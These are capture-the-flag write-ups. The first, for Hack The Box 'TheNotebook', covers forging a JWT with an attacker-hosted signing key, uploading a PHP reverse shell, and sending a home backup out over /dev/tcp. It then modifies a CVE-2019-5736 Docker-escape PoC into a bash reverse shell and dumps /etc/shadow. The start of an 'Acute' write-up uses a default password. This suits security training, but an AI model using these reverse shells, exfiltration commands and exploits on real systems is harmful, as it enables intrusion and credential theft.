https://jwt.io/
```

upon pasting the token..
we get something interesting...

HEADER:

``` bash
{
  "typ": "JWT",
  "alg": "RS256",
  "kid": "http://localhost:7070/privKey.key"
}
```

PAYLOAD:

``` bash
{
  "username": "lucifer11",
  "email": "1185151867@qq.com",
  "admin_cap": 0
}
```

VERIFY SIGNATURE:

``` bash
RSASHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  
  ...

  ...
)
```

its using keys for the auth (prob. gpg keys) and kid at port 7070

 - [Navigating RS256 and JWKS](https://auth0.com/blog/navigating-rs256-and-jwks/)

on researching and from the jwt.io itself, we can create out own token for auth..

lets create one and exploit it.
create a new rsa key pair

 - [jwtRS256.sh](https://gist.github.com/ygotthilf/baa58da5c3dd1f69fae9)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in jwtRS256.key
Your public key has been saved in jwtRS256.key.pub
The key fingerprint is:
SHA256:SS1PrGQQT5jFz4OlkxA7O9gn5zFde0t9jBr26pulXvg root@kali
The key's randomart image is:
+---[RSA 4096]----+
|      +Bo        |
|      +=.o.      |
|      o.*B+ .    |
|     o *=B+. . + |
|    . = S.o.+ + +|
|       * o . B ..|
|        .   o =  |
|             B   |
|           oB.E  |
+----[SHA256]-----+
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
writing RSA key
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# cat jwtRS256.key
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# cat jwtRS256.key.pub                                                                                                        
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvI/xUwgbHsfS7jZa7vCu
6NsGOZLqjWGMfY3JhL3O10SSe9CDY4VB0DtHA2Y8yKA1C1hjI2odVgvxmcLgvylh
Uccd/Fgo2CENr5Ez/K5nbPkMSG8K373AspZjx4jvM25G/K9EX1bh5PWt/mH8G/Sg
r4G0D1JqFbro0p6UK7gdzw/OG3kHhz4vUKK8sq/ueZBi8Dhu78UhDqUkROQYmdo+
TeF4AAN7ZWYx1DebEq+u47opdqwT60NUmbA+qccc8vdsFwERpcE1eYg6JVRyZUTH
8cF6shelSpeTtluvBG+9NvNhPOzZPW56gMG4Q3lw/5YeUiZMRaOTcKk+fk9Issbo
s2UuN1I0omFxMNVKjRSK/+EN69LKui35KpaHpqiZ3tJlHtebN9WURIsd0KV+3r/1
Z1h3fMQh1gXlDKy7ps8YqMDi2PiJKHj2tkQChIx8KwOvotb1k91jLGoPqYiJi2Iz
gURN/zSCFcr3EGAbZg1XmaIMmOV6F5S9LmU/v1YIB5TjDDPvdaFr/wPwZZd9fLkw
bS8zpNr1geICqcyGqv3cfTUjVf5gI0Z+j3qUNJLBGYRQu8FZ3yCi0m4ygrAn3vWy
yFWxk2ABwTry9cA2kZv8rhbxFuvG7i9ibF1sVHPxi21UrXtzFNKheVAJm+qs0G+j
v/fPmz07ZQXi9Gw8Lukz6IcCAwEAAQ==
-----END PUBLIC KEY-----
```

here now edit the payload and the details in jwt.io to the one matching to the original token, but change the localhost to your own tun0 ip, change admin_cap to true

And make sure the algorithm is set to RS256

It should look like this, signature verified.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb198.jpg)

before changing the cookie, change the priv key name to privKey.key as that is called on and spin the server on port 7070.

new cookie/token:(on the left)

``` bash
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC41OjcwNzAvcHJpdktleS5rZXkifQ.eyJ1c2VybmFtZSI6Imx1Y2lmZXIxMSIsImVtYWlsIjoiMTE4NTE1MTg2N0BxcS5jb20iLCJhZG1pbl9jYXAiOnRydWV9.Tv-XaYQuY71cIYcsBnYoDrrUUyDDs3u9Q-gIdkYVfZAFZJDn4EQYuQ0McwoPK_CX_puFmwiX7TzCqeL3y5tTlgZCeYKiaPo3fwRxr2LgmTAvoHMjXy-oD5VzgZWmutgPUtPEO5v7kRPrHM0etc-_f5HPNqpTXGJe1n0lSxipoc35X-MHWzhG3ymr41iN3aWQ8wcIJ2oFPKlcxadd8_l2byDYlnmGTU4_etYL48IG18ZRkDbDRE1LOiGId25LmjnHCblqFi5gDroL8DdyT-LuyqPYy1DCYSmkBHnnjZTCJWzKbPNv5JlnKC3Lr3JoLYZSaEFUbqYjnIScoBI5eaE5k54OLkQRRhDwxg33oxNiALiactRg_inHhhryCeBjSvqRfHDsutZj-WAwwSTDDl32N2n5TyXRzUuMteTTG087EzPMv694Y9twdIKEe5go2N0uTkcBBBGcRK7zE6Utx3011Gl45bd1a6WgVw1oyL1APAqsws60-P3UHEGdqLQbmSZSoHTrSWtvdEKEvDblYqMMgOIBX7pZRGFFYnbX_yr59FiLH8wDOpQ4wkOUgDfPKZaDWJUuqZOnzaAgOdOSKYl_L5ktzfwY704Dn9BVvnMGU4xM1S7wSM7020jQnC2VQukx1VyYgEAZzYAPWikkGxcDoFbh5sXTzLhmsn7oB9pASAs
```

change the token and our priv key is been picked

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# ls                                                                                                                          
jwtRS256.key.pub  privKey.key
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# python -m SimpleHTTPServer 7070                                                                                             
Serving HTTP on 0.0.0.0 port 7070 ...
10.10.10.230 - - [08/Mar/2021 23:26:41] "GET /privKey.key HTTP/1.1" 200 -
```

and now we are admin, (i edit the cookie auth parameter in firefox cookie editor plugin)

every refresh to the web page would request the privKey.key one time:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# python -m SimpleHTTPServer 7070                                                                                             
Serving HTTP on 0.0.0.0 port 7070 ...
10.10.10.230 - - [08/Mar/2021 23:26:41] "GET /privKey.key HTTP/1.1" 200 -
10.10.10.230 - - [08/Mar/2021 23:28:57] "GET /privKey.key HTTP/1.1" 200 -
10.10.10.230 - - [08/Mar/2021 23:29:01] "GET /privKey.key HTTP/1.1" 200 -
```

so don't close the python SimpleHTTPServer.

and we can upload the files, i uploaded the php-reverse-shell.php, and got a reverse shell:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# nc -lvp 5566                                                                                                                
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.10.10.230.
Ncat: Connection from 10.10.10.230:50278.
Linux thenotebook 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 04:37:59 up  9:48,  0 users,  load average: 0.08, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
```

#### user

In /var/backups/ there is home.tar.gz file

sending the file

``` bash
www-data@thenotebook:/var/backups$ cat home.tar.gz > /dev/tcp/10.10.14.5/4444
cat home.tar.gz > /dev/tcp/10.10.14.5/4444
```

getting the tar.gz file

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# nc -lvp 4444 > home.tar.gz                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.230.
Ncat: Connection from 10.10.10.230:45076.
```

Unzipping we got the ssh keys

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# tar -xvf home.tar.gz 
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub
```

give permission and ssh into the server, and get the user flag

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# chmod 600 home/noah/.ssh/id_rsa                                                                                             
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# ssh -i home/noah/.ssh/id_rsa noah@10.10.10.230                                                                              
The authenticity of host '10.10.10.230 (10.10.10.230)' can't be established.
ECDSA key fingerprint is SHA256:GHcgekaLnxmzAeBtBN8jWgd3DME3eniUb0l+PDmejDQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.230' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Mar  9 04:45:53 UTC 2021

  System load:  0.0               Processes:              182
  Usage of /:   42.1% of 7.81GB   Users logged in:        0
  Memory usage: 19%               IP address for ens160:  10.10.10.230
  Swap usage:   0%                IP address for docker0: 172.17.0.1


61 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Mar  9 03:28:09 2021 from 10.10.14.41
noah@thenotebook:~$ id
uid=1000(noah) gid=1000(noah) groups=1000(noah)
noah@thenotebook:~$ whoami
noah
noah@thenotebook:~$ ls
home  user.txt
noah@thenotebook:~$ cat user.txt
c3f30f818132c77d26eae145351809ac
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb199.jpg)


#### root

``` bash
noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
```

searching for the exploit, the following website is interesting

 - [CVE-2019-5736-PoC](https://github.com/Frichetten/CVE-2019-5736-PoC)

now there change the exploit in var payload =

for getting the reverse shell

``` bash
var payload = "#!/bin/bash \n echo 'bash -i >& /dev/tcp/10.10.14.5/4322 0>&1' > /tmp/rev.sh && chmod +x /tmp/rev.sh && bash /tmp/rev.sh"
```

build it go build main.go

now go to the machine, get into the docker container

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# go build main.go 
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# ls
home  home.tar.gz  jwtRS256.key.pub  main  main.go  php-reverse-shell.php  privKey.key
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# mv main exp
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# ls
exp  home  home.tar.gz  jwtRS256.key.pub  main.go  php-reverse-shell.php  privKey.key
```

``` bash
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash
root@396a6d12aaa7:/opt/webapp#
```

and in /tmp/ wget the main executable.
give executable permission and run the file

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# python -m SimpleHTTPServer 81
Serving HTTP on 0.0.0.0 port 81 ...
10.10.10.230 - - [09/Mar/2021 00:16:57] "GET /exp HTTP/1.1" 200 -
```

``` bash
root@396a6d12aaa7:/tmp# wget http://10.10.14.5:81/exp
--2021-03-09 05:20:01--  http://10.10.14.5:81/exp
Connecting to 10.10.14.5:81... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2236814 (2.1M) [application/octet-stream]
Saving to: ‘exp’

exp                             100%[=======================================================>]   2.13M   365KB/s    in 6.0s    

2021-03-09 05:20:07 (365 KB/s) - ‘exp’ saved [2236814/2236814]

root@396a6d12aaa7:/tmp# ls
exp  requirements.txt  webapp.db
root@396a6d12aaa7:/tmp# chmod 777 exp
root@396a6d12aaa7:/tmp# ./exp
[+] Overwritten /bin/sh successfully
[+] Found the PID: 1091
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc00004d4a0}
```

and simultaneously open second ssh session, and ssh into it, and run:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# ssh -i home/noah/.ssh/id_rsa noah@10.10.10.230
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Mar  9 05:32:53 UTC 2021

  System load:  0.29              Processes:              207
  Usage of /:   42.2% of 7.81GB   Users logged in:        1
  Memory usage: 21%               IP address for ens160:  10.10.10.230
  Swap usage:   0%                IP address for docker0: 172.17.0.1

  => There is 1 zombie process.


61 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Mar  9 05:23:22 2021 from 10.10.14.5
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 sh
No help topic for '/bin/sh'
```

as per our payload, listen on the port for rev connection
got root

``` bash
└─# nc -lvp 4322
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4322
Ncat: Listening on 0.0.0.0:4322
Ncat: Connection from 10.10.10.230.
Ncat: Connection from 10.10.10.230:37578.
bash: cannot set terminal process group (68630): Inappropriate ioctl for device
bash: no job control in this shell
<da0ce3c741b77d5a95dafd4f680fc443d94bcad9564fce056# whoami
whoami
root
<da0ce3c741b77d5a95dafd4f680fc443d94bcad9564fce056# pwd
pwd
/run/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/ebd846222421782da0ce3c741b77d5a95dafd4f680fc443d94bcad9564fce056
<da0ce3c741b77d5a95dafd4f680fc443d94bcad9564fce056# cd /root
cd /root
root@thenotebook:/root# ls
ls
cleanup.sh
docker-runc
reset.sh
root.txt
start.sh
root@thenotebook:/root# cat root.txt
cat root.txt
4de72defc1cf5263e34f67acc80c6018
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1911.jpg)

``` bash
root@thenotebook:/root# cat /etc/shadow
cat /etc/shadow
root:$6$OZ7vREXE$yXjcCfK6rhgAfN5oLisMiB8rE/uoZb7hSqTOYCUTF8lNPXgEiHi7zduz1mrTWtFnhKOCZA9XZu12osORyYnKF.:18670:0:99999:7:::
```

#### Summary of knowledge

 - jwt cookie auth parameter forge
 - .ssh id_rsa key leak
 - Docker escapes from the sandbox
 - modify golang CVE-2019-5736-PoC to get a reverse shell

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end TheNotebook -->

</details>




# Windows 服务权限与执行上下文

从服务账户到高权限进程，中间可能经过受限 PowerShell、打印服务、.NET 应用或文件系统重解析。本章保留每次身份切换和失败返回，便于区分账户权限、进程架构、会话类型与文件访问范围。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/windows/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Acute、Reel2 的 PowerShell 会话限制与命令运行账户是不同条件。

Driver、Fighter 的后续利用依赖打印服务或驱动环境，目标版本和架构随原始输出保留。

Proper 的 Junction、ServMon 的本机接口和 PivotAPI 的 API 监控各有文件或服务侧证据。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [受限 PowerShell 会话与组成员权限](#case-acute) | acute | PowerShell、会话权限、Active Directory |
| [SCF 认证请求与打印服务](#case-driver) | driver | NTLM、SCF、PrintNightmare、CVE-2021-1675 |
| [MSSQL 执行上下文与驱动漏洞](#case-fighter) | fighter | MSSQL、驱动漏洞、逆向 |
| [API 监控与服务凭据恢复](#case-pivotapi) | pivotapi | API Monitor、Kerberos、PrintSpoofer |
| [完整性参数与目录 Junction](#case-proper) | proper | 竞态条件、Junction、Windows |
| [邮件认证、受限会话与符号链接](#case-reel2) | reel2 | OWA、NTLM、PowerShell、符号链接 |
| [NVMS 路径与本机管理服务](#case-servmon) | ServMon | 路径穿越、NSClient++、端口转发 |

<a id="case-acute"></a>

## 受限 PowerShell 会话与组成员权限

从文档元数据与默认口令进入 PowerShell Web Access，再跟踪会话配置、可修改脚本与用户切换。最终权限依赖站点管理员组的成员管理能力。

<p class="kb-provenance">来源 acute · 原记录 2022-02-16 · 51 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-acute">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start acute -->

#### introduce

OS: Windows
Difficulty: Hard
Points:	40
Release:	12 Feb 2022
IP:	10.10.11.145

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2150.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/acute]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.145
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

We have only one TCP port and it gives us hostname. Let’s add it to our hosts file and access the web.

It looks like a healthcare website. Under ‘About Us’ you will get employee/user names as well as from right top corner you will get a document file ‘New Starter Forms’.

Download the document. It is a induction checklist for new employees.

From this document we will get couple crucial things.

``` bash
IT overview

Arrange for the new starter to receive a demonstration on using IT tools which may include MUSE, myJob and Google accounts. Walk the new starter through the password change policy, they will need to change it from the default Password1!. Not all staff are changing these so please be sure to run through this.
```

The default password is Password1! and some staff members are still using the same password for their account. We have a PSWA (PowerShell WebAccess) session/configuration name dc_manage

``` bash
Initial Probation Meeting (For Academic staff on Probation only)



Arrange initial probation meeting between Probationer, Head of Department and Probation Adviser.

Run through the new PSWA to highlight the restrictions set on the sessions named dc_manage.

The probation plan should be completed within a month of the start date and should include a requirement to register with LETs re: rate to gain within 3 months of starting. Fellowship of the Higher Education Academy (FHEA). 
```

We also have link to PSWA https://atsserver.acute.local/Acute_Staff_Access

``` bash
Induction meetings with management staff

Arrange for the new starter to meet with other staff in the department as appropriate. This could include the Head of Department and/or other members of the appointee’s team. Complete the https://atsserver.acute.local/Acute_Staff_Access training

Induction Coordinator
```

Now we can access the remote powershell via browser. Lastly, Lois user has highest privileges and she can change group membership of any user for group called site admin

``` bash
**Lois is the only authorized personnel to change Group Membership, Contact Lois to have this approved and changed if required. Only Lois can become site admin. **
```

Now we have couple things in loot box, let’s access PSWA.

Se need username, password and computer name. So far we have employee names from website, we have default password. But we don’t have computer name.

If we run exiftool on this downloaded docx file, we will get remaining information.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/acute]
└─# exiftool New_Starter_CheckList_v7.docx 
ExifTool Version Number         : 12.39
File Name                       : New_Starter_CheckList_v7.docx
Directory                       : .
File Size                       : 34 KiB
File Modification Date/Time     : 2022:02:16 10:07:39-05:00
File Access Date/Time           : 2022:02:16 10:09:02-05:00
File Inode Change Date/Time     : 2022:02:16 10:08:07-05:00
File Permissions                : -rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x079b7eb2
Zip Compressed Size             : 428
Zip Uncompressed Size           : 2527
Zip File Name                   : [Content_Types].xml
Creator                         : FCastle
Description                     : Created on Acute-PC01
Last Modified By                : Daniel
Revision Number                 : 8
Last Printed                    : 2021:01:04 15:54:00Z
Create Date                     : 2021:12:08 14:21:00Z
Modify Date                     : 2021:12:22 00:39:00Z
Template                        : Normal.dotm
Total Edit Time                 : 2.6 hours
Pages                           : 3
Words                           : 886
Characters                      : 5055
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 42
Paragraphs                      : 11
Scale Crop                      : No
Heading Pairs                   : Title, 1
Titles Of Parts                 : 
Company                         : University of Marvel
Links Up To Date                : No
Characters With Spaces          : 5930
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 16.0000
```

From this metadata we got two things, computer name that is Acute-Pc01 from description and username format FCastle from Creator. Let's login

``` bash
username: EDavies
Password: Password1!
Computer Name: Acute-PC01
```

We have these employee names, we can save them in a format.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/acute]
└─# cat users.txt         
edavies
chall
awallace
imonks
jmorgon
lhopkins
```

Out all these usernames, edavies worked with Password1! I believe this employee is still hasn't changed the default password.

``` bash
PS C:\Users\edavies\Documents> 

whoami /groups

 

GROUP INFORMATION

-----------------

 

Group Name                                 Type             SID          Attributes                                    

    

========================================== ================ ============ ==============================================

====

Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled g

roup

BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled g

roup

BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled g

roup

NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled g

roup

NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled g

roup

NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled g

roup

Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled g

roup

Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192                                                
```

We have edavies shell. If we run ipconfig /all then we'd get below info.

``` bash
PS C:\Users\edavies\Documents> 

ipconfig /all

 

Windows IP Configuration

 

   Host Name . . . . . . . . . . . . : Acute-PC01

   Primary Dns Suffix  . . . . . . . : acute.local

   Node Type . . . . . . . . . . . . : Hybrid

   IP Routing Enabled. . . . . . . . : No

   WINS Proxy Enabled. . . . . . . . : No

   DNS Suffix Search List. . . . . . : acute.local

 

Ethernet adapter Ethernet 2:

 

   Connection-specific DNS Suffix  . : 

   Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter #2

   Physical Address. . . . . . . . . : 00-15-5D-E8-0A-01

   DHCP Enabled. . . . . . . . . . . : No

   Autoconfiguration Enabled . . . . : Yes

   Link-local IPv6 Address . . . . . : fe80::9513:4361:23ec:64fd%14(Preferred) 

   IPv4 Address. . . . . . . . . . . : 172.16.22.2(Preferred) 

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   Default Gateway . . . . . . . . . : 172.16.22.1

   DHCPv6 IAID . . . . . . . . . . . : 251663709

   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-29-29-1F-44-00-15-5D-E8-02-00

   DNS Servers . . . . . . . . . . . : 172.16.22.1

   NetBIOS over Tcpip. . . . . . . . : Enabled
```

As you can see, the IP address is different from machine IP. It looks like a container or virtual machine (hyper-v). We can ping the gateway IP address.

We can check foe open port on the gateway IP address.

``` bash
PS C:\Users\edavies\Documents> 

Test-NetConnection 172.16.22.1 -port 445

 

 

ComputerName     : 172.16.22.1

RemoteAddress    : 172.16.22.1

RemotePort       : 445

InterfaceAlias   : 

SourceAddress    : 

TcpTestSucceeded : True
```

